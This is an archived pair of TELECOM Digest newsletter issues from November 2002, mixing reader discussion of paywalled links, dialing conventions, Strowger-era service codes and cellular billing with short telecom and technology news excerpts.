Steps In (Monty Solomon) Mr. Watson, Come Here, You Look a Little Blurry (Monty Solomon) Got Paper? / Beth Israel Deaconess Copes With Computer (Monty Solomon) Logan Airport Tests Out New Iris-Scanning Technology (Monty Solomon) Re: Last Laugh! Parakeets (Paul Coxwell) Re: Victoria's Secret Customers Exposed (joe@obilivan.net) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Joey Lindstrom Date: Thu, 28 Nov 2002 12:53:54 -0700 Subject: Wall Street Journal Online Reply-To: joey@lairdsflooring.com On Thu, 28 Nov 2002 00:37:59 -0500 (EST), editor@telecom-digest.org wrote: >> http://online.wsj.com/article_email/0,,SB1038261936872356908,00.html > Hey Monty, maybe we can skip the articles that require a $79 payment > to read, huh? > Joey Lindstrom - Laird's Flooring > joey@lairdsflooring.com > Laird's Flooring > joey@lairdsflooring.com > [TELECOM Digest Editor's Note: I dunno about this article and link. > Please notice the two commas in the middle after the zero and the > comma near the end after the 8 ...when I went to check that issue > of the Digest in http://telecom-digest.org/TELECOM_Digest_Online I > found that the underlying link broke off after '_email/0' and the > rest of the link from ',,SB10.....' forward did not get included in > the link. Clicking on what did appear as the link resulted in a > 404 not found error. I asked Monty about this and he said the article > came through okay on his end. I told him I use IEXPLORE and Opera and > the article did not work okay there. He is going to review it. > What I *think* happened, Joey (and you know I get in trouble for > trying to think very much these days) is you wound up getting an offer > to subscribe to the Journal rather than the actual article. Monty > was amazed when I mentioned your complaint to him in email. Let's > see if he has an answer sometime soon. PAT] Well Pat, try this: 1) Go to ""http://online.wsj.com"" (the root URL of the link Monty provided) or ""http://www.wsj.com"". Both take you to the same page. You'll be presented with a list of top stories 2) Click on a few of them. When I try this, I get directed to a page with the Wall Street Journal Online logo at the top, followed by ""The page you requested is available only to subscribers"". Below that is ""Not a subscriber? Get the Online Journal for just $79 for a full year! Plus your first 2 weeks are FREE. Or, pay only $39 annually (if you are a print Journal or Barron's subscriber)."" I'm then prompted to enter my username and password. Given the plethora of excellent news sites out there that do not require payment (or registration in most cases), WSJ can go piss up a rope for all I care. I've got better things to do with my $79. Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com ------------------------------ Date: Thu, 28 Nov 2002 08:26:22 -0500 From: Monty Solomon Subject: Re: Complaints About Reading Stuff Here [TELECOM Digest Editor's Note: Remember the story from Monty which appeared here a few issues ago about what guys can do if TiVo has diagnosed you as gay, and how to set the record straight? Monty has reviewed that further, and offers a corrected link from the Wall Street Journal below. The corrected link runs over a couple lines and I have not edited it. Monty will explain it further. PAT] It appears that the HREF on the web page is wrong. The software that converted it got confused by the two commas. It is currently: http://online.wsj.com/article_email/0,,SB1038261936872356908,00.html and it should be: http://online.wsj.com/article_email/0,,SB1038261936872356908,00.html Can you fix the HTML? The correct link was sent in the usenet and e-mail versions of the article. Thanks. Monty [TELECOM Digest Editor's Note: Let's see if that one works. No guarentees you won't have to pay $79 (ouch!) but maybe it will work. PAT] ------------------------------ From: pae@dimensional.com (Phil Earnhardt) Subject: Re: Wall Street Journal Date: 28 Nov 2002 17:33:33 -0700 Organization: Dimensional Communications In article , Joey Lindstrom wrote: >> http://online.wsj.com/article_email/0,,SB1038261936872356908,00.html > Hey Monty, maybe we can skip the articles that require a $79 payment > to read, huh? Did you try the link? It link worked fine for me with no WSJ online account. The webserver didn't require a cookie. It even worked with lynx. > Joey Lindstrom - Laird's Flooring phil ------------------------------ From: Phil Earnhardt Subject: Re: RIAA Orders US Navy to Surrender Date: Wed, 27 Nov 2002 23:29:39 -0700 Organization: http://extra.newsguy.com On Wed, 27 Nov 2002 13:23:17 -0800, John Higdon wrote: > This is not about fair compensation for composers and artists; this is > about penalizing paying customers as a smoke screen to cover a desperate > attempt to remain relevant in the distribution of music. The digital age > threatens to make the cigar-smoking mogels in luxurious glass office > buildings obsolete, allowing real musicians to reach audiences directly. > The futile hope is that by crippling the technology, they can stave off > the inevitable. Throughout this discussion, I have never heard if any of those midshipmen happened to legally own the CDs (or LPs or cassettes or, just maybe, 8-track tapes) of the MP3 music that they allegedly downloaded. Would getting a digital copy of the music they already owned be a violation of the Honor Code? Does the RIAA recognize that owners of a particular recording in any of these formats is entitled to have -- or even download -- an MP3 version of that recording? > John Higdon | Email Address Valid | SF: +1 415 428-COWS phil ------------------------------ From: John Higdon Subject: Re: Warner & DVD Organization: Green Hills and Cows Date: Thu, 28 Nov 2002 00:12:19 -0800 In article , Joey Lindstrom wrote: > Beyond that, the quality of the video transfer ranges from ""decent"" to > ""godawful"", often in the same scene. You'll be watching Sinclair > talking to Garibaldi and it looks great, and then there's a cut to > Ivanova walking in the room and suddenly it's all grainy. Or, better > yet, in many areas it looks like they transfered from DAMAGED film > stock -- there's rips and tears and burn marks and you name it, it's > there. > Yeah, they're leaders all right. :-) All I can say is that the Warner Bros. DVD releases of major features are supurb on my setup, and they have been this way from the gitgo. While other companies were releasing non-anamorphic letterboxed transfers in two-channel surround (like 20th Century Fox, Miramax, and Polygram), WB was releasing anamorphic, 5.1 products. The only thing I fault WB for is their lack of DTS releases. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Joseph Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Thu, 28 Nov 2002 10:03:56 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On Wed, 27 Nov 2002 19:36:19 -0800, Dave Close wrote: > There already is a universal worldwide standard for numbering: > + (cc) (ac) (local) > (country code, area code, local number). There is no worldwide > standard for how many digits should be in the (ac) or (local), or > for what might preceed (or substitute for) the ""+"". > What there ought to be is a convention that allows someone to dial > /any/ call from /any/ location to the /same/ destination number with > the same sequence of digits /after/ the ""+"", even if the call is > within the same country. But within the NANP, we can't even get that > rule accepted for the digits after the (cc), with some places > requiring and others prohibiting the use of eleven digits.ness of getting > dave@compata.com, +1 714 434 7359 power and privilege without > dhclose@alumni.caltech.edu possessing merit."" - P. J. O'Rourke Funny I can input +cc/area code/number on my mobile and all calls go through no matter where they are :) Replies are seldom read. Please reply in the group ------------------------------ From: hkelley@yahoo.com (Howard Kelley) Subject: TDMA and GSM Cell Phones Date: 28 Nov 2002 13:47:23 -0800 Organization: http://groups.google.com/ Is there such a thing as a cell phone capable of handling both TDMA and GSM accounts? Here is my issue: I travel abroad a great deal. I would like to use a single phone for both my domestic use (Cingular TDMA) and be able to switch to my European cell phone carrier when I am in Europe. I realize I will have two providers but I would like to use one telephone..even two numbers. Are there SIM chips that can make this happen? Or, am I forced to change to a U.S. carrier that has GSM service. ------------------------------ Date: Thu, 28 Nov 2002 14:57:37 -0500 From: Monty Solomon Subject: Pick-Six Fix Admitted as Giuliani Steps In By JOE DRAPE WHITE PLAINS, Nov. 20 - One is a college dropout turned computer ace; the other is the former mayor of New York and of late a well-paid symbol of integrity. But today the two shared the spotlight: Chris Harn for pleading guilty to fixing the Breeders' Cup pick six last month, Rudolph W. Giuliani for promising to come up with security to make horse racing's wagering systems impenetrable. In Federal District Court this morning, Harn stood before Magistrate Judge Lisa Margaret Smith and recited how as a senior programmer at Autotote, a company that processes horse racing wagers, he used his work computer to rig three sets of bets - including the $3 million Breeders' Cup pick-six payoff -- made on the accounts of two of his former Drexel University fraternity brothers, his co-defendants. http://www.nytimes.com/2002/11/21/sports/othersports/21RACI.html ------------------------------ Date: Thu, 28 Nov 2002 18:08:54 -0500 From: Monty Solomon Subject: Mr. Watson, Come Here, You Look a Little Blurry By DAVID POGUE A MAN in New York makes a phone call. But instead of just holding a handset to his head, he watches a small screen on the phone. He and his wife, in Florida, see each other as they chat, thanks to a tiny camera on each phone. They don't only talk. They interact by gesturing and expressing themselves just as they would in person. They have arrived in the future: 1964. It was the 1964 World's Fair, to be precise, the first public demonstration of the AT&T Picturephone. The idea of adding video to the telephone seemed so obvious, plenty of people were certain it would replace the telephone. A few niche variations eventually arose, like expensive corporate teleconferencing gear and Internet cams that use PC's as intermediaries. But even after four decades, no videophone for household use over ordinary phone lines has caught on. The new Vialta Beamer (www.vialta.com) at least stands a chance, because of three shrewd decisions by its creators. First, they realized that we already have telephones with features and looks we like. Therefore, the Beamer adds only the screen: a handsome, 3.5-inch flat panel that floats in a clear acrylic panel. The Beamer screen is dark and easily ignored whenever you're not calling a fellow Beamer owner. Your phone remains your phone. The second breakthrough is the Beamer's simplicity. It goes between your phone and the wall jack, like an answering machine. (If you have an answering machine too, the Beamer goes between it and the phone.) There are no fees, accounts, activation steps or special numbers to dial. If you need one more thing to be grateful for on Thanksgiving, here's one: that someone, somewhere is still capable of designing a high-tech appliance no more challenging than a blender. http://www.nytimes.com/2002/11/28/technology/circuits/28stat.html ------------------------------ Date: Thu, 28 Nov 2002 18:15:17 -0500 From: Monty Solomon Subject: Got paper? / Beth Israel Deaconess Copes With Massive Computer Beth Israel Deaconess copes with a massive computer crash By Anne Barnard, Globe Staff, 11/26/2002 Thirteen days ago, as his computer crunched the mountain of data he hoped would be his humble contribution to medical progress, the researcher -- he shall remain nameless -- got a phone call he'd never forget. It was Dr. John Halamka, the former emergency-room physician who runs Beth Israel Deaconess Medical Center's gigantic computer network. He told the professor that his flood of numbers was overwhelming the system, threatening to freeze thousands of electronic medical records and grind the hospital's network to a halt. ''He said, `Oh, my God!' and pulled the plug out of the wall,'' Halamka said last week. It was too late. Somewhere in the web of copper wires and glass fibers that connects the hospital's two campuses and satellite offices, the data was stuck in an endless loop. Halamka's technicians shut down part of the network to contain it, but that created a cascade of new problems. The entire system crashed, freezing the massive stream of information -- prescriptions, lab tests, patient histories, Medicare bills -- that shoots through the hospital's electronic arteries every day, touching every aspect of care for hundreds of patients. http://www.boston.com/dailyglobe2/330/science/Got_paper_+.shtml ------------------------------ Date: Thu, 28 Nov 2002 18:17:42 -0500 From: Monty Solomon Subject: Logan Airport Tests Out New Iris-Scanning Technology By Jennifer Peter, Associated Press, 11/28/2002 15:16 BOSTON (AP) Employees' irises would become their identification badges under a new security system that Logan International Airport began testing last week. Logan, which has gained national recognition for its aggressive pursuit of new security measures since Sept. 11, is trying the iris recognition system on two entrances to secure areas of the airport, according to aviation direction Tom Kinton. In addition to using an access card and punching in a security code, a group of Massport employees participating in the pilot project will also have to look into a camera that will scan and verify their unique iris codes. http://www.boston.com/dailynews/332/region/Airport_tests_out_new_iris_sca:.shtml ------------------------------ From: PaulCoxwell@aol.com Date: Thu, 28 Nov 2002 06:02:34 EST Subject: Re: Last Laugh! Parakeets > ObTelecom: I wonder if Lily Tomlin's telephone operator character > routines will be funny to people 50 years from now when no living > person will remember what it was like to have living human telephone > operators handling calls. I suppose comedians will still have > telemarketers and voicemail menus to do routines about. There was a recent humorous commercial on local radio here in the U.K. which included somebody trying to reach a real live oeprator. It went something like this (as near as I recall it): ""Thank you for calling. To be placed on hold and listen to a tinny version of Greensleeves, press 1. To speak to a customer service representative who has no interest in your problem, press 2. To speak to someone who is very friendly and understanding, but no help whatsoever, press 3. To be plunged into a telephonic abyss of silence, press 4. To be disconnected for no apparent reason, pre.... "" How true! ------------------------------ From: joe@obilivan.net Subject: Re: Victoria's Secret Customers Exposed Date: Thu, 28 Nov 2002 16:37:35 GMT Organization: Cox Communications Sounds like fun! Monty Solomon wrote: > Glitch at Web site reveals who ordered what in some cases > By Bob Sullivan > MSNBC > Nov. 27 - A glitch at the Victoria's Secret Web site allowed customers > who purchased items there to view other customers' orders in some > cases, MSNBC.com has learned. On Friday morning, part of the site was > shut down while company officials investigated. Personal financial > information, such as credit cards, were not exposed by the glitch - > but details of customers' intimate purchases were. > http://www.msnbc.com/news/840596.asp > [TELECOM Digest Editor's Note: That was indeed an example of indecent > exposure, wasn't it .... (poor attempt at humor). PAT] [TELECOM Digest Editor's Note: I am sure a good time was had by everyone at this visual orgy. And I hope all our USA readers today had wonderful feeding orgies at their Thanksgiving meals. I know I did. I went down to Coffeyville to my cousin's home with her husband and her mother (my aunt), another cousin and his wife and child were there, and a few other distant or twice/third removed relatives. Was it Oscar Wilde or maybe Emily Dickinson who stated, 'God gives us our relatives; thank God we can choose our friends.' Now, except for Christ Mass in just a month, its all over for another year. I am totally stuffed, and will not eat any more until at least midnight tonight when I wake up from slumber and go pick in the refrigerator. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #154 ****************************** >From editor@telecom-digest.org Sat Nov 30 03:35:19 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gAU8ZJi18819; Sat, 30 Nov 2002 03:35:19 -0500 (EST) Date: Sat, 30 Nov 2002 03:35:19 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200211300835.gAU8ZJi18819@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #155 TELECOM Digest Sat, 30 Nov 2002 03:35:00 EST Volume 22 : Issue 155 Inside This Issue: Editor: Patrick A. Townson Genuity Bankrupt: Agrees to be Sold to Level 3 (Monty Solomon) N11 vs. 11X Service Codes (Neal McLain) Re: Wall Street Journal (Al Iverson) Re: Wall Street Journal Online (Phil Earnhardt) Cellular Calls to Toll-Free Directory Assistance (Monty Solomon) EU Gives Official Leave to Work for Microsoft (Monty Solomon) EchoStar, Hughes to File Changes to Deal With FCC (Monty Solomon) New Gadgets May Spark Deregulation (Monty Solomon) Cross-Network Picture Messaging Starts in Finland (Monty Solomon) AOL and BSkyB Form Interactive TV Alliance in UK (Monty Solomon) Telefonica and Philips Seal Broadband Alliance (Monty Solomon) Nokia Delivers New Dual Band GSM & GAIT Handsets to Cingular (M. Solomon) TiVo Series2 Picked as Hot Holiday Family Gift (Monty Solomon) Massachusetts to Appeal Microsoft Settlement (Monty Solomon) NESN's Rate Hikes to Boost Cable TV Bills (Monty Solomon) The Spy Inside Your Home Computer (Monty Solomon) End of November: Digest Share Day (Patrick Townson) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Fri, 29 Nov 2002 00:28:17 -0500 From: Monty Solomon Subject: Genuity Bankrupt: Agrees to be Sold to Level 3 Deal planned after firm rises from Chap. 11 By Peter J. Howe, Globe Staff, 11/28/2002 Genuity Inc., the Woburn telecommunications services company whose corporate roots date to the earliest days of the Internet three decades ago, filed for bankruptcy protection yesterday as part of a planned $242 million sale to Level 3 Communications. In what Genuity chief executive Paul R. Gudonis called ''the best possible outcome for our creditors, our customers, and our employees,'' Level 3 would buy ''substantially all'' of Genuity after its expected emergence from Chapter 11 this winter. Genuity would operate as a Woburn-based Level 3 subsidiary focused on data services for businesses. Gudonis said it is not clear how many of Genuity's current 2,500 employees, about 1,400 of them based in Woburn, will remain after the merger into Level 3. Genuity has slashed 2,800 jobs in the last two years as its revenue has slipped amid a raging price war for Internet services. www.boston.com/dailyglobe2/332/business/Genuity_agrees_to_be_sold_Level_3+.shtml ------------------------------ Date: Fri, 29 Nov 2002 20:27:44 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: N11 vs. 11X Service Codes jdebert@garlic.com asked: > Why did Ma Bell switch from 11n numbers to n11 numbers for > services? Seems 11n makes more sense and would have allowed > n11 to be used for NPA's, etc. And Pat wrote: > I always thought 11x numbers were pretty much a GTE thing; the Bells > always tended to go with x11. At least that's the way I remember > it... Whereupon Mark Cuccia added: > ... it was the Panel (and later #1XB) cities that used the N11 > format for Service Codes. Step (SXS) cities tended to use 11X > service codes ... whether it was Bell or non-Bell ... And more precisely, it was in relatively small SxS (usually Strowger) offices serving fewer than 80,000 lines. Even though Automatic Electric had done most of the developmental work underlying the Strowger switching system, Western Electric adopted it for use in the Bell System. Back in the 50s, many mid-sized communities were served by Strowger offices configured for four- or five-digit numbers. Even after the introduction of DDD, and the accompanying seven-digit directory numbers (around 1953), local calls could still be dialed with only four or five digits: prepended dummy digits were absorbed. These offices typically used 11X service codes. I think the reason for this can be found in the way Strowger equipment works. Consider a hypothetical five-digit Strowger office. Such an office would be able to serve a maximum of 80,000 lines numbered 2-0000 through 9-9999 (or, in the switching equipment's internal numbering sequence, 2-1111 through 9-0000). Numbers beginning with 0 or 1 can't be used as line numbers: - Numbers beginning with 0 (such as 0-2345) can't be used because initial 0 is used for operator. - Numbers beginning with 1 (such as 1-2345) can't be used because of the possibility of a false preliminary pulse (a pulse generated by a user who accidentally depresses the switchhook momentarily before dialing). Strowger equipment (or, for that matter, any kind of rotary-dial-controlled switching equipment) can't tell the difference between a false preliminary pulse and deliberately-dialed 1, so, in order to prevent possible wrong numbers, initial 1 is not used for subscriber numbers. For such an office, the valid numbering ranges (again in the switching equipment's internal numbering sequence) would be: 2-1111 through 2-0000 3-1111 through 3-0000 4-1111 through 4-0000 5-1111 through 5-0000 6-1111 through 6-0000 7-1111 through 7-0000 8-1111 through 8-0000 9-1111 through 9-0000 Now suppose, for example, that 411 were used for directory assistance (or ""information"" as it was known back in the Strowger days). That one code would tie up 100 otherwise-valid numbers: 4-1111 through 4-1100. Using all possible N11 codes (211-911) would tie up 800 valid numbers, or one percent of the entire numbering capacity of the office. On the other hand, using 114 doesn't tie up any valid numbers, and it still solves the false-preliminary-pulse problem: - An initial 1 followed by *anything except* another 1 defaults to an error tone (or, through special wiring, it might be ignored, allowing the caller to reach the desired number anyway). In either case, a false preliminary pulse won't cause the caller to reach a wrong number. - An initial 1 followed by another 1 can be used for a service code because it's very unlikely that a caller would inadvertently press the switchhook twice. Hence, combinations 112 through 110 were used as service codes. - A false preliminary pulse followed by 11 (i.e., 111) defaults to an error tone, so that even a deliberate attempt to dial a service code after a false preliminary pulse won't reach a wrong number. Hempsted B. Miller, in his book TELEPHONE THEORY AND PRACTICE, Volume 3, ""Automatic Switching and Auxiliary Equipment"" (McGraw-Hill, 1933) describes just such an office. In his example: 111 Error tone 112 Error tone 113 Information desk 114 Repair desk 115 Error tone 116 Error tone 117 Test desk 118 Error tone 119 Revertive call switch 110 Toll desk (what we'd now call ""long distance"") The revertive call switch was used by party-line callers to call other numbers on the same party line. Various 119XX codes would ring back with a variety of ringing cadences and polarities, alternately ringing both the calling phone (which had to be hung up momentarily) and the called phone. But the revertive call switch also worked on single-party lines. Back in my college days in Ann Arbor, some of my friends and I (being typical nosy college students with nothing better to do than study) took it upon ourselves to document all 100 of Michigan Bell's 119XX codes. Believe it or not, I still have that document in my ""telephone"" file today, almost 50 years later. Nowadays, of course, 0 and 1 are the leading digits for intra-NANP toll calls (or to signal an upcoming NPA if you're in one of *those* states). But, as both jdebert and Mark Cuccia have pointed out, that wouldn't have precluded the use of 11X service codes today. Except that they'd be longer, probably 11XX (like today's Vertical Service Codes) or 11XXX. Or maybe even 111-XXXX! In any case, perhaps we should thank the Automatic Electric engineers that developed the Strowger switching system for reserving leading-digits 0 and 1, even though they reserved them for entirely different reasons. Footnote: Speaking of Vertical Service Codes, why did they get that name? Here's my theory (but it's just that, a theory). Most Strowger switches are configured so that the wipers move in two directions, vertically and radially (or, as it's sometimes called ""up and around""). A call to, say, 113, requires three switches to move vertically, one for each digit. Three vertical motions. Get it? Neal McLain nmclain@annsgarden.com ------------------------------ From: Al Iverson Subject: Re: Wall Street Journal Organization: Not very Date: Fri, 29 Nov 2002 12:53:34 -0600 In article , pae@dimensional.com (Phil Earnhardt) wrote: > In article , Joey Lindstrom > wrote: >>> http://online.wsj.com/article_email/0,,SB1038261936872356908,00.html >> Hey Monty, maybe we can skip the articles that require a $79 payment >> to read, huh? > Did you try the link? It link worked fine for me with no WSJ online > account. The webserver didn't require a cookie. It even worked with > lynx. It works now, but I recall that when it was first posted I tried to click on it and got the login and pay screen instead. I'm wondering if they blackout new stories for non-subscribers for a certain period of time. Al Iverson -- http://www.radparker.com -- Minneapolis, Minnesota, USA Support Minnesota Jazz -- Disclaimer: All of my opinions are mine alone. ------------------------------ From: Phil Earnhardt Subject: Re: Wall Street Journal Online Date: Fri, 29 Nov 2002 12:46:52 -0700 Organization: http://extra.newsguy.com On Thu, 28 Nov 2002 12:53:54 -0700, Joey Lindstrom wrote: >> http://online.wsj.com/article_email/0,,SB1038261936872356908,00.html > Well Pat, try this: > 1) Go to ""http://online.wsj.com"" (the root URL of the link Monty > provided) or ""http://www.wsj.com"". Both take you to the same page. > You'll be presented with a list of top stories > 2) Click on a few of them. [SNIP] > Given the plethora of excellent news sites out there that do not > require payment (or registration in most cases), WSJ can go piss up a > rope for all I care. I've never heard that particular expression before. It may be the case that the above sequence will get you to a prompt asking for your credit card number. However, it would be a fallacy to presume that all WSJ journal articles require the premium service in order to view them. I have no idea on which articles are which, but apparently Monty does. I read the TELECOM Digest through Usenet News. I was able to read the story-in-question by clicking on the link provided by Monty in his posting. I did it when the original article was posted on Usenet and I just repeated the experiment. I was able to retrieve the freely retrieve the article. While I am a print subscriber to the Journal, I have never ever registered with the online service. > I've got better things to do with my $79. I believe that Pat's theory was correct: the article URL got munged in the batched version of the TELECOM Digest and the behavior of the website was to take you to the subscription page when presented with a broken URL. Joey: did you ever try the un-munged URL? AFAICT, the URLs that Monty provides from the WSJ require no fee to access. > Joey Lindstrom - Laird's Flooring phil [TELECOM Digest Editor's Note: Seeing Joey's complaint was really shocking to me; so much so that I got a message to Monty an hour or so later, asking for an explanation. I do not like putting things here that require payment to read. Monty insisted it was not his doing; we tracked back over the original message as I got here here, found those two commas ,, etc. I asked Monty to look into it a bit more and send some explanation here, which he did. PAT] ------------------------------ Date: Thu, 28 Nov 2002 20:59:27 -0500 From: Monty Solomon Subject: Cellular Calls to Toll-Free Directory Assistance I placed a call to toll-free directory assistance (1.800.555.1212) from my cellular phone during a time period when I shouldn't be charged. I assumed that there wouldn't be any charges for that call since all toll-free calls that I have placed during the off-peak time period have been free of all charges. When I got the invoice from the phone company, there was a charge of something like $1.99 for that call. I called Cingular to ask about it and they claimed that they charge for all calls to directory assistance. Even calls to toll-free directory assistance. This doesn't seem right to me. Who handles toll-free directory assistance from a cellular phone? Is it my selected long distance carrier? Is it possible that they intercept all calls to directory assistance and use their own provider? Has anyone here experienced similar charges calling toll-free directory assistance from cellular phones? Thanks, Monty [TELECOM Digest Editor's Note: Cingular Wireless has been very difficult to work with lately for me. The latest hassle began when Cingular decided to quit paying SWB a service fee for 'wide area service' on 620-870. It *had* been set up that calls to my cellular phone (and every other Cingular customer in Independence) was toll free via 620-870-last four. Cingular did not tell anyone they were going to stop that agreement with SWB, they just unilaterally did it as of November 1. I should have used that *change in contract terms by them* as an excuse to drop them and get a new cellular provider, but I didn't. I found out it had happened (no longer wide area and a toll charge now accessed) a couple days before Thanksgiving when I discovered a mystery call on my long distance bill for one minute at fourteen cents calling my cell number from my home line. I went over to their office Friday on Penn Street downtown and asked them about it. Yes, they said, 'corporate decided to change the deal with SWB Telco earlier this month. If you not want people who call you to have to pay toll, then we have to put you on a local, 620-330 number.' I waited around while the Cingular clerk here in town called customer service (or wherever she calls) and took *their* abuse with five to ten minutes of voicemail hell and holding waiting for *them* to answer her. Finally she got through, and got a new 330 local number (for cellphones here; all other phones in town are 331) and reprogrammed my phone. My voicemail, etc was just carried over to the new number automatically. I thought I would have to reprogram that, but I did not. However then I discovered my transfer on busy/no answer from my home phone to the cell phone no longer worked, of course. When SWB rang me three times, then withdrew the call, it started going to an intercept message, about 'number you dialed is not in service'. :( I then called SWB's business office (wherever it is now; it is no longer available on the corner of 6th and Maple downtown; all that is there in recent years is just the switches). SWB service rep takes my 'new' cellular number and informs me that as the spirit moves and they feel inspired, they will change the call forward on busy/no answer to the new number; but that I need not expect it until the middle of next week at the earliest. Then she proceeded to tell me about a 'new package of services' they have which will 'just cost' me the paltry sum of $3.25 per month if I want her to turn that on also. There will also be a $6 fee for changing the number on delayed call forwarding. So until the middle of next week sometime, or 'as the spirit moves them' I will have to set my answering machine back to three rings and pick up the calls here before SWB telco gets a chance to grab them away and send them for bogus treatment. All because the folks at Cingular decided to save money by no longer providing 'courtesy' wide area local calling for their customers here. PAT] ------------------------------ Date: Thu, 28 Nov 2002 21:06:39 -0500 From: Monty Solomon Subject: EU Gives Official Leave to Work For Microsoft - Nov 28, 2002 01:43 PM (Reuters) (Updates with comments by EC's Colasanti, paragraphs 3-4) By David Lawsky and Lisa Jucca BRUSSELS, Nov 28 (Reuters) - A European Commission official with knowledge about the EU executive's antitrust case against Microsoft Corp has been granted leave of absence to work for the firm from next Monday, Commission officials said on Thursday. The Commission, which is nearing the end of a long-running investigation of allegations that the U.S. software giant abused its dominance of the Windows operating system for personal computers, denied there was any potential conflict of interest. Information Society Director General Fabio Colasanti, the EU Commission top official who signed the leave of absence for head of unit Detlef Eckert, said he stood by his decision. - http://finance.lycos.com/home/news/story.asp?story=30306776 ------------------------------ Date: Thu, 28 Nov 2002 21:21:16 -0500 From: Monty Solomon Subject: EchoStar, Hughes to File Changes to Deal With FCC - Nov 27, 2002 05:34 PM (Reuters) WASHINGTON, Nov 27 (Reuters) - EchoStar Communications Corp. (NASDAQ:DISH) and Hughes Electronics (NYSE:GMH) on Wednesday planned to file with federal communications regulators changes to their proposed combination in an effort to salvage their $19.3 billion deal but declined to disclose details. The top two satellite television providers are facing stiff opposition to their merger from the Federal Communications Commission and the U.S. Justice Department's antitrust division because of fears they would dominate the market and hurt competition. - http://finance.lycos.com/home/news/story.asp?story=30298719 ------------------------------ Date: Thu, 28 Nov 2002 21:42:00 -0500 From: Monty Solomon Subject: New Gadgets May Spark Deregulation NEW YORK (AP) _ It almost sounds too ""Star Trek"" to be possible: A multipurpose cell phone that also serves as an FM radio, walkie-talkie, garage door opener and TV remote control. And what if every time you made a call with that handset it increased the performance of other phones already in use _ instead of competing for airwaves with them? While such wireless wizardry remains a few years off, those days could be coming faster now, thanks to a rare confluence of technology breakthroughs and a rethinking of airwave regulation by the federal government. - http://finance.lycos.com/home/news/story.asp?story=30145126 ------------------------------ Date: Thu, 28 Nov 2002 21:43:48 -0500 From: Monty Solomon Subject: Cross-Network Picture Messaging Starts in Finland HELSINKI, Nov 25 (Reuters) - Consumers in Finland can now send and receive digital photos via their cellphones even if they do not belong to the same mobile phone operator, a move seen helping boost the popularity of picture messaging. Mobile phone maker Nokia (HELS:NOK1V) said on Monday customers of Finland's largest operator Sonera (HELS:SRA1V) and smaller rival Elisa Communications (HELS:ELIAV) could now use multimedia messaging services (MMS). Nokia said Finland was the first country to enable consumers to use MMS between different operators. Several more European carriers are expected to make similar services possible in coming months across Europe. MMS allows users to send pictures and sound clips to one another, and is seen by the telecoms industry as a key driver for getting consumers to buy new, more advanced mobile phones as well as a revenue generator for cash-strapped operators. - http://finance.lycos.com/home/news/story.asp?story=30180288 ------------------------------ Date: Thu, 28 Nov 2002 22:42:41 -0500 From: Monty Solomon Subject: AOL and BSkyB Form Interactive TV Alliance in UK LONDON, Nov 26 (Reuters) - AOL Time Warner's (NYSE:AOL) UK Internet unit is joining forces with Rupert Murdoch's BSkyB (ISEL:BSY) to bring the online service to Britain's largest digital satellite service Sky Digital, the companies said on Tuesday. The alliance, the first time the media giants have worked together on interactive television programming, will seek to exploit the explosion in email and instant messaging communications. AOL's Internet unit is pushing for adaptation of its proprietary service to new media formats, including interactive television and mobile phones, as its core dial-up access business shows signs of slowing. Sky Digital is the leading digital cable outfit with six million paying subscribers, while AOL UK has two million paying subscribers, making it the biggest UK Internet service provider. - http://finance.lycos.com/home/news/story.asp?story=30239390 ------------------------------ Date: Thu, 28 Nov 2002 22:44:04 -0500 From: Monty Solomon Subject: Telefonica and Philips Seal Broadband Alliance By Lucas van Grinsven AMSTERDAM, Nov 26 (Reuters) - Spain's number one telecoms operator Telefonica (MADRID:TEF) on Tuesday said it had signed a deal with Europe's biggest consumer electronics group Philips (AMS:PHG) to bring Internet content to home HiFi and TV sets. The link-up, initially for two years, would extend Telefonica's current offering of broadband Internet access for personal computers. With Philips it aims to offer multimedia services, digital television and games to a range of connected electronic devices in the home. The two companies will first launch products and services in the Spanish market, using Telefonica's Asynchronous Digital Subscriber Line (ADSL) broadband access service, but they plan to enter the Latin American market later, a statement said. - 